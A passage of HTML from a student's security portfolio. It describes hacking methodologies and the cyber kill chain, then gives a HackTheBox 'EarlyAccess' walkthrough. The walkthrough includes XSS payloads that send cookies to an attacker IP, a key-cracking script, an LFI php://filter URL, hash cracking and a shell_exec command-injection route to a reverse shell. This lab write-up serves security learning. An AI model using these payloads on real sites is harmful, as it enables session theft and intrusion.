injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img 